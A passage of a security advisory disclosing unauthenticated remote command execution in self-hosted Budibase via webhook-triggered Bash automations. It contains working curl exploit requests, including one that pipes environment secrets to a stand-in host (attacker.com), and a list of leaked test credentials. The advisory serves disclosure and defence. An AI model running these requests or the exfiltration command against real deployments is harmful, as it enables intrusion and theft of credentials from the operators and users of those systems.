Advisory

GHSA-fcm4-4pj2-m5hf

Details, part 2 of 2. The advisory

Details

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PHASE 2 — Exploitation (ZERO AUTHENTICATION REQUIRED)

The attacker only needs the production app_id and webhook_id.
These can be obtained via:

  • Enumeration of the Budibase web UI (app URLs are semi-public)
  • Leaked configuration files or environment variables
  • Insider knowledge or social engineering

Step 7 — Basic RCE — whoami/id:

PROD_APP_ID="app_c999265f6f984e3aa986788723984cd5"
WEBHOOK_ID="wh_f811a038ed024da78b44619353d4af2b"
TARGET="http://TARGET:10000"

# NO cookies. NO API key. NO auth headers. Pure unauthenticated request.
curl -X POST "$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" \
  -H "Content-Type: application/json" \
  -d '{"cmd":"id"}'

# HTTP Response (immediate):
# {"message":"Webhook trigger fired successfully"}

# Command executes asynchronously inside container as root.
# Output confirmed via container inspection or exfiltration.

Step 8 — Exfiltrate all secrets:

curl -X POST "$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" \
  -H "Content-Type: application/json" \
  -d '{"cmd":"env | grep -E \"JWT|SECRET|PASSWORD|KEY|COUCH|REDIS|MINIO\" | curl -s -X POST https://attacker.com/collect -d @-"}'

Confirmed secrets leaked (no auth):

JWT_SECRET=testsecret
API_ENCRYPTION_KEY=testsecret
COUCH_DB_URL=http://budibase:budibase@couchdb-service:5984
REDIS_PASSWORD=budibase
REDIS_URL=redis-service:6379
MINIO_ACCESS_KEY=budibase
MINIO_SECRET_KEY=budibase
INTERNAL_API_KEY=budibase
LITELLM_MASTER_KEY=budibase

Impact

  • Who is affected: All self-hosted Budibase deployments (SELF_HOSTED=1) where any admin has created an automation with a Bash step that uses webhook trigger field templates. This is a standard, documented workflow.
  • What can an attacker do:
  • Execute arbitrary OS commands as root inside the application container
  • Exfiltrate all secrets: JWT secret, database credentials, API keys, MinIO keys
  • Pivot to internal services (CouchDB, Redis, MinIO) unreachable from the internet
  • Establish reverse shells and persistent access
  • Read/write/delete all application data via CouchDB access
  • Forge JWT tokens using the leaked JWT_SECRET to impersonate any user
  • Potentially escape the container if --privileged or volume mounts are used
  • Authentication required: None — completely unauthenticated
  • User interaction required: None
  • Network access required: Only access to port 10000 (the Budibase proxy port)

Discovered By:
Abdulrahman Albatel
Abdullah Alrasheed

Sources & licences